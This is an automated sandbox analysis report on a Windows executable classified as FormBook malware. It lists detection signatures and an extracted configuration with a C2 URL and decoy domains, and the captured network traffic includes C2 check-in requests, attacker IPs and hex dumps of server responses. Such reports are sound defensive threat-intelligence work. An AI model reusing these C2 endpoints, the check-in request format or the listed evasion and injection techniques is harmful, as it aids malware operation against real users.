Windows Analysis Report 1D4l9eR0W4

Overview

General Information

Sample Name: 1D4l9eR0W4 (renamed file extension from none to exe)
Analysis ID: 532910
MD5: 192b796d92d190c45204571599c38c86
SHA1: 611559df5b74934dea4c81a5490e2c64a73ee6e0
SHA256: 23c8bfea897f9833766ceab96299a77ad19ed1e0897b7e30d56d2c56c30d2d4e
Tags: 32exetrojan
Infos:

Most interesting Screenshot:

Detection

FormBook
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Multi AV Scanner detection for submitted file
Yara detected FormBook
Malicious sample detected (through community Yara rule)
Yara detected AntiVM3
System process connects to network (likely due to code injection or exploit)
Sample uses process hollowing technique
Maps a DLL or memory area into another process
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Self deletion via cmd delete
.NET source code contains potential unpacker
Queues an APC in another process (thread injection)
Tries to detect virtualization through RDTSC time measurements
Modifies the context of a thread in another process (thread injection)
C2 URLs / IPs found in malware configuration
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
Antivirus or Machine Learning detection for unpacked file
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to call native functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Contains functionality for execution timing, often used to detect debuggers
Contains long sleeps (>= 3 min)
Enables debug privileges
Creates a DirectInput object (often for capturing keystrokes)
Sample file is different than original file name gathered from version info
Contains functionality to read the PEB
Checks if the current process is being debugged
Binary contains a suspicious time stamp
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

AV Detection:

barindex
Found malware configuration
Source: 00000003.00000000.662565080.0000000000400000.00000040.00000001.sdmp Malware Configuration Extractor: FormBook {"C2 list": ["www.scion-go-getter.com/mwev/"], "decoy": ["9linefarms.com", "meadow-spring.com", "texascountrycharts.com", "chinatowndeliver.com", "grindsword.com", "thegurusigavebirthto.com", "rip-online.com", "lm-safe-keepingtoyof6.xyz", "plumbtechconsulting.com", "jgoerlach.com", "inbloomsolutions.com", "foxandmew.com", "tikomobile.store", "waybunch.com", "thepatriottutor.com", "qask.top", "pharmacylinked.com", "ishii-miona.com", "sugarandrocks.com", "anabolenpower.net", "my9m.com", "ywboxiong.xyz", "primetire.net", "yshxdys.com", "royallecleaning.com", "xtrategit.com", "almashrabia.net", "bundlezandco.com", "sandman.network", "vinhomes-grand-park.com", "jbarecipes.com", "squareleatherbox.net", "breathechurch.digital", "wodemcil.com", "carthy.foundation", "galimfish.com", "reflectbag.com", "lheteclase.quest", "yourvirtualevent.services", "custercountycritique.com", "liyahgadgets.com", "sweetascaramelllc.com", "lzgirlz.com", "flydubaime.com", "aanhanger-verhuur.com", "schooldiry.com", "theroadtorodriguez.com", "mrteez.club", "gxystgs.com", "runz.online", "kometbux.com", "mintyhelper.com", "bestinvest-4u.com", "bjxxc.com", "e-readertnpasumo5.xyz", "experimentwithoutlimits.com", "21yingyang.com", "recbi56ni.com", "tabulose-milfs-live.com", "uglyatoz.com", "websitessample.com", "gogopficg.xyz", "fourthandwhiteoak.com", "fulvousemollientplanet.com"]}
Multi AV Scanner detection for submitted file
Source: 1D4l9eR0W4.exe Virustotal: Detection: 25% Perma Link
Source: 1D4l9eR0W4.exe ReversingLabs: Detection: 24%
Yara detected FormBook
Source: Yara match File source: 3.2.1D4l9eR0W4.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.1D4l9eR0W4.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.1D4l9eR0W4.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.1D4l9eR0W4.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.1D4l9eR0W4.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.1D4l9eR0W4.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.1D4l9eR0W4.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.1D4l9eR0W4.exe.44a63d0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.1D4l9eR0W4.exe.444edb0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000000.662565080.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000000.663054195.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.690177163.000000000E892000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.713721764.00000000013C0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.920015100.0000000002EE0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.703698531.000000000E892000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.713518901.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.920096919.0000000003200000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.919741475.0000000000A70000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.713740606.00000000013F0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.665552518.0000000004309000.00000004.00000001.sdmp, type: MEMORY
Antivirus or Machine Learning detection for unpacked file
Source: 3.0.1D4l9eR0W4.exe.400000.6.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 3.2.1D4l9eR0W4.exe.400000.0.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 3.0.1D4l9eR0W4.exe.400000.8.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 3.0.1D4l9eR0W4.exe.400000.4.unpack Avira: Label: TR/Crypt.ZPACK.Gen

Compliance:

barindex
Uses 32bit PE files
Source: 1D4l9eR0W4.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED
Source: 1D4l9eR0W4.exe Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Source: Binary string: wntdll.pdbUGP source: 1D4l9eR0W4.exe, 00000003.00000002.713836121.0000000001870000.00000040.00000001.sdmp, 1D4l9eR0W4.exe, 00000003.00000002.714005352.000000000198F000.00000040.00000001.sdmp, wlanext.exe, 00000007.00000002.920356093.000000000370F000.00000040.00000001.sdmp, wlanext.exe, 00000007.00000002.920211028.00000000035F0000.00000040.00000001.sdmp
Source: Binary string: wntdll.pdb source: 1D4l9eR0W4.exe, 1D4l9eR0W4.exe, 00000003.00000002.713836121.0000000001870000.00000040.00000001.sdmp, 1D4l9eR0W4.exe, 00000003.00000002.714005352.000000000198F000.00000040.00000001.sdmp, wlanext.exe, wlanext.exe, 00000007.00000002.920356093.000000000370F000.00000040.00000001.sdmp, wlanext.exe, 00000007.00000002.920211028.00000000035F0000.00000040.00000001.sdmp
Source: Binary string: wlanext.pdb source: 1D4l9eR0W4.exe, 00000003.00000002.714332060.0000000001BB0000.00000040.00020000.sdmp
Source: Binary string: wlanext.pdbGCTL source: 1D4l9eR0W4.exe, 00000003.00000002.714332060.0000000001BB0000.00000040.00020000.sdmp

Networking:

barindex
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49816 -> 147.255.129.44:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49816 -> 147.255.129.44:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49816 -> 147.255.129.44:80
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49834 -> 15.197.142.173:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49834 -> 15.197.142.173:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49834 -> 15.197.142.173:80
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49857 -> 23.227.38.74:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49857 -> 23.227.38.74:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49857 -> 23.227.38.74:80
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49909 -> 43.132.183.85:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49909 -> 43.132.183.85:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49909 -> 43.132.183.85:80
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Network Connect: 147.255.129.44 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 198.143.147.58 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 142.250.203.115 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 43.132.183.85 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.fulvousemollientplanet.com
Source: C:\Windows\explorer.exe Domain query: www.rip-online.com
Source: C:\Windows\explorer.exe Network Connect: 15.197.142.173 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 87.236.16.208 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 23.227.38.74 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.scion-go-getter.com
Source: C:\Windows\explorer.exe Domain query: www.sandman.network
Source: C:\Windows\explorer.exe Domain query: www.foxandmew.com
Source: C:\Windows\explorer.exe Domain query: www.royallecleaning.com
Source: C:\Windows\explorer.exe Domain query: www.websitessample.com
Source: C:\Windows\explorer.exe Domain query: www.experimentwithoutlimits.com
Source: C:\Windows\explorer.exe Domain query: www.21yingyang.com
Source: C:\Windows\explorer.exe Domain query: www.9linefarms.com
Source: C:\Windows\explorer.exe Network Connect: 34.102.136.180 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 35.209.150.94 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.tikomobile.store
Source: C:\Windows\explorer.exe Domain query: www.texascountrycharts.com
Source: C:\Windows\explorer.exe Network Connect: 107.164.242.49 80 Jump to behavior
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: www.scion-go-getter.com/mwev/
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: LEASEWEB-USA-LAX-11US LEASEWEB-USA-LAX-11US
Source: Joe Sandbox View ASN Name: SINGLEHOP-LLCUS SINGLEHOP-LLCUS
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /mwev/?-Zf=HsmrIALTvXRwIzSnf5nMI/V00TunQUINtH1bLOqGnVursL/6Yec02BWx+TEJbBuPuFeE&v0GTT=9rntXVQxPfS89pvp HTTP/1.1Host: www.royallecleaning.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /mwev/?-Zf=Y+Hyy1N7e+ROxQ1BzGerXtl/+e9k+2VYdpmZeNGMnmnYwBGoq47Ntyx8TFdOC4/xH+hS&v0GTT=9rntXVQxPfS89pvp HTTP/1.1Host: www.scion-go-getter.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /mwev/?-Zf=iTGszEHgBfgYRglEf8qTe/0GehEi8eYY5QDShU32F6t0wDyeZFMPJI0cijyvgJ5fvuvy&v0GTT=9rntXVQxPfS89pvp HTTP/1.1Host: www.21yingyang.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /mwev/?-Zf=muoWufO8p6lksAUPj07m8fqHwDrNKoj9M2hBle0NDwQN4kTZYCe/nJ8SwFL4fqBvjDWp&v0GTT=9rntXVQxPfS89pvp HTTP/1.1Host: www.texascountrycharts.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /mwev/?-Zf=/zd6oxG+H6qci+O+cHlZDp/zFP0nYcFn0YDhkjhJJtSXAtrcRYu0trJUidLUZZla0YBM&v0GTT=9rntXVQxPfS89pvp HTTP/1.1Host: www.tikomobile.storeConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /mwev/?-Zf=vthKUgsgoRJ92n81Fuh07g/ARRJh8nN5iXUIpLSVgoOHRdB6AKBPErPncdrss3E6nFAH&v0GTT=9rntXVQxPfS89pvp HTTP/1.1Host: www.fulvousemollientplanet.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /mwev/?-Zf=wD7IX5djK39N0mXOoKckCLddnCt/+mP/xVLK1b09pQyAIyzBpLPKZ8m7O34kMZ4xQV6J&v0GTT=9rntXVQxPfS89pvp HTTP/1.1Host: www.experimentwithoutlimits.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /mwev/?-Zf=IXYNpvQ1BiZ44tShy9SgvoX4c9kgPxO5K/+6kCom7tZxGdFtiZvct/5RRpjh/yF5dNln&v0GTT=9rntXVQxPfS89pvp HTTP/1.1Host: www.websitessample.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /mwev/?-Zf=rc6cG9leRruTx/YFamCczYYGme6fHdvMbIxv+wAuDzmHDYSO236DISOvOLkKOKiYq/4R&v0GTT=9rntXVQxPfS89pvp HTTP/1.1Host: www.foxandmew.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /mwev/?-Zf=IjrmxmCSNg9SW3Y0DfjHEVuIkvJ5tkiLJE48G3emnLXjviiyyOAbNkhdp+PdSxIUf+MM&v0GTT=9rntXVQxPfS89pvp HTTP/1.1Host: www.9linefarms.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /mwev/?-Zf=4s7fstVSzLCadPpci11R7qAZUnePXrmWLsX7/7GiC0yrg0b/n74rqRMRm0/pECdGagYy&v0GTT=9rntXVQxPfS89pvp HTTP/1.1Host: www.rip-online.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 43.132.183.85 43.132.183.85
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Thu, 02 Dec 2021 19:00:13 GMTContent-Type: text/htmlContent-Length: 275ETag: "618be73d-113"Via: 1.1 googleConnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body><h1>Access Forbidden</h1></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundTransfer-Encoding: chunkedServer: Nginx Microsoft-HTTPAPI/2.0X-Powered-By: NginxDate: Thu, 02 Dec 2021 19:00:25 GMTConnection: closeData Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: awselb/2.0Date: Thu, 02 Dec 2021 19:00:35 GMTContent-Type: text/htmlContent-Length: 118Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx-reuseport/1.21.1Date: Thu, 02 Dec 2021 19:00:41 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 287Connection: closeVary: Accept-EncodingData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 6d 77 65 76 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 55 6e 69 78 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 74 69 6b 6f 6d 6f 62 69 6c 65 2e 73 74 6f 72 65 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /mwev/ was not found on this server.</p><hr><address>Apache/2.4.10 (Unix) Server at www.tikomobile.store Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 02 Dec 2021 19:00:46 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingX-Sorting-Hat-PodId: -1X-Dc: gcp-europe-west1X-Request-ID: 1172709a-00f8-4954-b923-2ab5922ac1c1X-Content-Type-Options: nosniffX-Permitted-Cross-Domain-Policies: noneX-XSS-Protection: 1; mode=blockX-Download-Options: noopenCF-Cache-Status: DYNAMICServer: cloudflareCF-RAY: 6b76cccebf534ebc-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 31 34 31 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 65 76 65 72 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 41 63 63 65 73 73 20 64 65 6e 69 65 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 2a 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 31 46 31 46 31 3b 66 6f 6e 74 2d 73 69 7a 65 3a 36 32 2e 35 25 3b 63 6f 6c 6f 72 3a 23 33 30 33 30 33 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 7d 62 6f 64 79 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 2e 37 72 65 6d 7d 61 7b 63 6f 6c 6f 72 3a 23 33 30 33 30 33 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 31 70 78 20 73 6f 6c 69 64 20 23 33 30 33 30 33 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 20 30 2e 32 73 20 65 61 73 65 2d 69 6e 7d 61 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f 6c 6f 72 3a 23 41 39 41 39 41 39 7d 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 38 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 2e 34 72 65 6d 20 30 7d 70 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 35 72 65 6d 3b 6d 61 72 67 69 6e 3a 30 7d 2e 70 61 67 65 7b 70 61 64 64 69 6e 67 3a 34 72 65 6d 20 33 2e 35 72 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 76 68 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 7d 2e 74 65 78 74 2d 63 6f 6e 74 61 69 6e 65 72 2d 2d 6d 61 69 6e 7b 66 6c 65 78 3a 31 3b 64 69 73 Data Ascii: 141d<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <meta name="referrer" content
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Thu, 02 Dec 2021 19:01:07 GMTContent-Type: text/htmlContent-Length: 275ETag: "618be761-113"Via: 1.1 googleConnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body><h1>Access Forbidden</h1></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 02 Dec 2021 19:01:13 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: wlanext.exe, 00000007.00000002.920741611.0000000003CA2000.00000004.00020000.sdmp String found in binary or memory: https://www.foxandmew.com/mwev/?-Zf=rc6cG9leRruTx/YFamCczYYGme6fHdvMbIxv
Source: unknown DNS traffic detected: queries for: www.royallecleaning.com
Source: global traffic HTTP traffic detected: GET /mwev/?-Zf=HsmrIALTvXRwIzSnf5nMI/V00TunQUINtH1bLOqGnVursL/6Yec02BWx+TEJbBuPuFeE&v0GTT=9rntXVQxPfS89pvp HTTP/1.1Host: www.royallecleaning.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /mwev/?-Zf=Y+Hyy1N7e+ROxQ1BzGerXtl/+e9k+2VYdpmZeNGMnmnYwBGoq47Ntyx8TFdOC4/xH+hS&v0GTT=9rntXVQxPfS89pvp HTTP/1.1Host: www.scion-go-getter.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /mwev/?-Zf=iTGszEHgBfgYRglEf8qTe/0GehEi8eYY5QDShU32F6t0wDyeZFMPJI0cijyvgJ5fvuvy&v0GTT=9rntXVQxPfS89pvp HTTP/1.1Host: www.21yingyang.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /mwev/?-Zf=muoWufO8p6lksAUPj07m8fqHwDrNKoj9M2hBle0NDwQN4kTZYCe/nJ8SwFL4fqBvjDWp&v0GTT=9rntXVQxPfS89pvp HTTP/1.1Host: www.texascountrycharts.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /mwev/?-Zf=/zd6oxG+H6qci+O+cHlZDp/zFP0nYcFn0YDhkjhJJtSXAtrcRYu0trJUidLUZZla0YBM&v0GTT=9rntXVQxPfS89pvp HTTP/1.1Host: www.tikomobile.storeConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /mwev/?-Zf=vthKUgsgoRJ92n81Fuh07g/ARRJh8nN5iXUIpLSVgoOHRdB6AKBPErPncdrss3E6nFAH&v0GTT=9rntXVQxPfS89pvp HTTP/1.1Host: www.fulvousemollientplanet.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /mwev/?-Zf=wD7IX5djK39N0mXOoKckCLddnCt/+mP/xVLK1b09pQyAIyzBpLPKZ8m7O34kMZ4xQV6J&v0GTT=9rntXVQxPfS89pvp HTTP/1.1Host: www.experimentwithoutlimits.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
